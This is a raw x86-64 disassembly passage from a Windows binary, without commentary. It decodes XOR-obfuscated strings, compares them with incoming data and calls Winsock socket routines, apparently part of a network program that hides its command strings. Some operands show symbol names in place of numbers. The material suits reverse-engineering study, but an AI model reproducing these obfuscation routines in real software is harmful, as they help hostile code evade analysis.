mov byte [rsp + 0x64], 0x45
xor byte [rsp + 0x65], 0x31
xor byte [rsp + 0x66], 0x32
xor byte [rsp + 0x67], 0x33
xor byte [rsp + 0x68], 0x34
xor byte [rsp + 0x69], 0x35
xor al, 0x36
mov byte [rsp + 0x6a], al
lea rcx, [rbp + 0x650]
test r10b, r10b
cmovne rcx, r9
lea rdx, [rsp + 0x64]
call fcn.14005da9c
test rax, rax
setne byte [rsp + 0x50]
movsd xmm0, qword [str.cDBVF]
movsd qword [rbp - 0x38], xmm0
mov eax, dword [0x140092318]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x14009231c]
mov byte [rbp - 0x2c], al
mov r8d, esi
cmp edi, 2
jl 0x140021e59
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
mov eax, dword [0x140092720]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.cDBVF]
pxor xmm2, xmm1
movd dword [rbp - 0x38], xmm2
movdqa xmm3, xmmword [0x1400926e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
pxor xmm2, xmm1
movd dword [rbp - 0x34], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140021e70
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
setae r11b
mov r10, qword [rbp + 0x650]
cmovae rcx, r10
lea rdx, [rbp - 0x38]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140021eda
inc rcx
test al, al
jne 0x140021ec5
mov dword [rsp + 0x54], esi
jmp 0x140021ee3
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x54], ecx
movsd xmm0, qword [str.rPFGXPP_Um_]
movsd qword [rbp - 0x78], xmm0
mov eax, dword [0x140092118]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x14009211c]
mov byte [rbp - 0x6c], al
mov r8d, esi
cmp edi, 2
jl 0x140022018
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
mov eax, dword [0x140092720]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.rPFGXPP_Um_]
pxor xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x1400926e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
pxor xmm2, xmm1
movd dword [rbp - 0x74], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140022030
lea rax, [rbp + 0x650]
test r11b, r11b
cmovne rax, r10
lea rdx, [rbp - 0x78]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x14002208a
inc rax
test cl, cl
jne 0x140022075
mov dword [rsp + 0x64], esi
jmp 0x140022093
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x64], ecx
mov eax, dword [str.tPKi4]
mov dword [rsp + 0x5c], eax
movzx eax, byte [0x140092148]
mov byte [rsp + 0x5c], 0x44
xor byte [rsp + 0x5d], 0x31
xor byte [rsp + 0x5e], 0x32
xor byte [rsp + 0x5f], 0x33
xor al, 0x34
mov byte [rsp + 0x60], al
lea rax, [rbp + 0x650]
test r11b, r11b
cmovne rax, r10
lea rdx, [rsp + 0x5c]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x1400220e9
inc rax
test cl, cl
jne 0x1400220d4
mov dword [rsp + 0x5c], esi
jmp 0x1400220f2
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x5c], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rax
movups xmm0, xmmword [0x140092230]
movups xmmword [rbp - 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400222b2
mov r8d, esi
cmp edi, 2
jl 0x140022271
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x74]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140022170
jmp 0x1400222b2
lea r9, [rbp - 0x78]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140022280
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], send
lea rax, [rbp - 0x78]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400222d2
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x110]
call fcn.140003650
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x528]
cmp rbx, qword [rbp + 0x530]
jne 0x1400226f9
movups xmm0, xmmword [0x140091e10]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140091e20]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140091e30]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140091e40]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140091e50]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm1, qword [0x140091e60]
movsd qword [rbp + 0x100], xmm1
movzx eax, word [0x140091e68]
mov word [rbp + 0x108], ax
mov r8d, esi
cmp edi, 2
jl 0x1400224d7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400223d0
cmp r8d, 0x5a
jge 0x140022520
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x1400224f0
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str._PG_Q5]
mov dword [rbp + 0x4a8], eax
movzx eax, word [0x140091d58]
mov word [rbp + 0x4ac], ax
mov byte [rbp + 0x4a8], WSACleanup
xor byte [rbp + 0x4a9], 0x31
xor byte [rbp + 0x4aa], 0x32
xor byte [rbp + 0x4ab], 0x33
xor byte [rbp + 0x4ac], 0x34
xor byte [rbp + 0x4ad], 0x35
lea rcx, [rbp + 0x4a8]
call fcn.14002b208
nop
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x1400225de
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400225c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257f2
call fcn.14005bba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x14002261f
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002261a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257f8
call fcn.14005bba4
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140022687
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022681
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257fe
call fcn.14005bba4
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140022699
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002192c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025666
call fcn.14005bba4
mov eax, 1
jmp 0x140021c84
call fcn.14000bc30
mov qword [0x1409ffc00], rax
cmp rax, 0xffffffffffffffff
je 0x140022754
mov dword [rbp + 0x4a8], esi
lea rcx, [rbp + 0x4a8]
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140013630
test rax, rax
jne 0x140022746
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
jmp 0x140022754
cmp qword [0x1409ffc00], 0
jne 0x140022acc
movups xmm0, xmmword [0x140092240]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140092250]
movups xmm0, xmmword [0x140092260]
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140092270]
movups xmm0, xmmword [0x140092280]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm0
mov r8d, esi
cmp edi, 2
jl 0x1400228d3
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x1400227d2
jmp 0x140022912
lea r9, [rbp - 0x20]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x1400228e0
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str._PG_Q5]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], WSACleanup
xor byte [rsp + 0x39], 0x31
xor byte [rsp + 0x3a], 0x32
xor byte [rsp + 0x3b], 0x33
xor byte [rsp + 0x3c], 0x34
xor byte [rsp + 0x3d], 0x35
lea rcx, [rsp + 0x38]
call fcn.14002b208
nop
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x1400229bb
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400229a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257f2
call fcn.14005bba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x1400229fc
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400229f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257f8
call fcn.14005bba4
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140022a64
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257fe
call fcn.14005bba4
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140022a76
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002192c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025666
jmp 0x140021927
movsd xmm0, qword [str.uIWPAAWUT_tZQX_]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x1400921c0]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400921c4]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x1400921c6]
mov byte [rbp - 0x5a], al
mov r8d, esi
cmp edi, 2
jl 0x140022c0c
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
mov eax, dword [0x140092720]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.uIWPAAWUT_tZQX_]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1400926e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400926f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140022c20
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], send
lea rax, [rbp - 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140022c70
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x130]
call fcn.140003650
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x560]
call fcn.1400069a0
nop
cmp byte [rax + 0x20], 0
je 0x140025804
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4f8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
cmp byte [rbp + 0x208], 0
je 0x140022d49
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140022d32
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022d2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002580a
call fcn.14005bba4
movdqa xmm0, xmmword [0x1400926c0]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
lea rcx, [rbp + 0x4e8]
mov r10, qword [rbp + 0x4e8]
mov rbx, qword [rbp + 0x4f8]
cmp qword [rbp + 0x500], 0x10
jb 0x140022d70
mov r15, r10
add rbx, r10
jmp 0x140022d7a
add rbx, rcx
lea r15, [rbp + 0x4e8]
mov qword [rbp + 0x508], rsi
mov rcx, rsi
mov qword [rbp + 0x518], rcx
mov r8d, 7
mov qword [rbp + 0x520], r8
mov word [rbp + 0x508], si
mov rdx, rbx
sub rdx, r15
cmp rdx, r8
jbe 0x140022dce
lea rcx, [rbp + 0x508]
call fcn.1400107f0
mov rcx, rsi
mov qword [rbp + 0x518], rcx
mov r10, qword [rbp + 0x4e8]
mov r8, qword [rbp + 0x520]
lea rax, [rbp + 0x508]
mov qword [rsp + 0x40], rax
cmp r15, rbx
je 0x140022e51
movzx edi, byte [rsp + 0x50]
movsx r9d, byte [r15]
cmp rcx, r8
jae 0x140022e17
lea rax, [rcx + 1]
mov qword [rbp + 0x518], rax
lea rax, [rbp + 0x508]
cmp r8, 8
cmovae rax, qword [rbp + 0x508]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140022e2c
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x508]
call fcn.140010960
inc r15
cmp r15, rbx
je 0x140022e44
mov r8, qword [rbp + 0x520]
mov rcx, qword [rbp + 0x518]
jmp 0x140022de4
mov r10, qword [rbp + 0x4e8]
mov edi, dword [0x1400a3c50]
movups xmm0, xmmword [str.v_GZBRUSRI]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [0x140092188]
movups xmmword [rbp + 0x1a8], xmm1
movzx eax, word [0x140092198]
mov word [rbp + 0x1b8], ax
mov r8d, esi
cmp edi, 2
jl 0x140022fc9
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x19c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022ec2
cmp r8d, 0x22
jge 0x140023010
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140022fe0
lea rax, [rbp + 0x4e8]
cmp qword [rbp + 0x500], 0x10
